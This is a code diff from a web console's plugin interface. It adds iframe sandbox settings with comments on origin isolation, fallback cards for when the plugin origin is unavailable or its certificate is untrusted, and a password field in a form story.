// origin, so this grants the plugin its OWN origin (storage, its own fetches) rather
// than the console's. Removing it would give the frame an opaque origin instead,
// which stops the SameSite=Lax session cookie and 302s every plugin asset to /login
// — the dead end recorded in 2026-08-05 review H-3. Origin isolation is enforced by
// the two listeners (nitro-entry/bun-https.mjs), not by this attribute.
sandbox="allow-scripts allow-forms allow-popups allow-same-origin allow-modals"
allow="fullscreen"
/>
@@ -131,6 +193,57 @@ export const SectionPlugin: FC = () => {
);
};
/**
* The plugin-UI listener did not bind, so there is no origin to render a plugin on.
*
* Deliberately a dead end rather than a fallback: serving the plugin on the console's own origin is
* exactly the escalation the separate origin exists to prevent, so "the port is busy" must degrade
* to "no plugin UIs", never to "plugin UIs, unsafely".
*/
const UnavailableCard: FC = () => (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed">
<div className="flex max-w-md flex-col items-center gap-3 p-8 text-center">
<h2 className="text-base font-semibold">
{m.plugin_origin_unavailable_title()}
</h2>
<p className="text-sm text-muted-foreground">
{m.plugin_origin_unavailable_hint()}
</p>
</div>
</div>
);
/**
* The plugin origin exists but this browser will not talk to it yet almost always the host's
* self-signed certificate not having been accepted for that PORT (exceptions are per origin), which
* an iframe can never prompt for. One visit in a real tab fixes it for good.
*/
const UntrustedOriginCard: FC<{ href: string; onRetry: () => void }> = ({
href,
onRetry,
}) => (
<div className="flex flex-1 items-center justify-center rounded-lg border border-dashed">
<div className="flex max-w-md flex-col items-center gap-3 p-8 text-center">
<h2 className="text-base font-semibold">
{m.plugin_origin_untrusted_title()}
</h2>
<p className="text-sm text-muted-foreground">
{m.plugin_origin_untrusted_hint()}
</p>
<Button asChild variant="outline" size="sm">
<a href={href} target="_blank" rel="noreferrer">
<ExternalLink className="size-4" />
{m.plugin_origin_untrusted_open()}
</a>
</Button>
<Button variant="ghost" size="sm" onClick={onRetry}>
<RefreshCw className="size-4" />
{m.plugin_retry()}
</Button>
</div>
</div>
);
const OfflineCard: FC<{ title: string; onRetry: () => void }> = ({
title,
onRetry,
+4
View File
@@ -13,6 +13,10 @@ const emptyForm = {
header: "",
logo: "",
command: "",
// The console-password confirmation the form requires alongside a launch command; empty here
// because the story renders the untouched add form, which has no command yet.
password: "",
isLauncher: false,
platform: "",
description: "",
developer: "",